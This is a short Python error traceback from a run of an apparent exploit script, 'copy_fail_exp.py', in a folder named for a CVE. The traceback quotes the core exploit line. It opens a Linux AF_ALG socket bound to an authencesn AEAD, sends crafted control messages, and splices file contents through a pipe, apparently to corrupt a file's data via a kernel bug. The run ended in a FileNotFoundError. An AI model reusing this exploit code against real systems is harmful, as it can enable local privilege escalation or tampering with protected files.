Traceback (most recent call last):
  File "/home/user/code/CVE-2026-31431-tools/copy_fail_exp.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ~^^^^^^^^^^^^^^
  File "/home/user/code/CVE-2026-31431-tools/copy_fail_exp.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
                       ~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory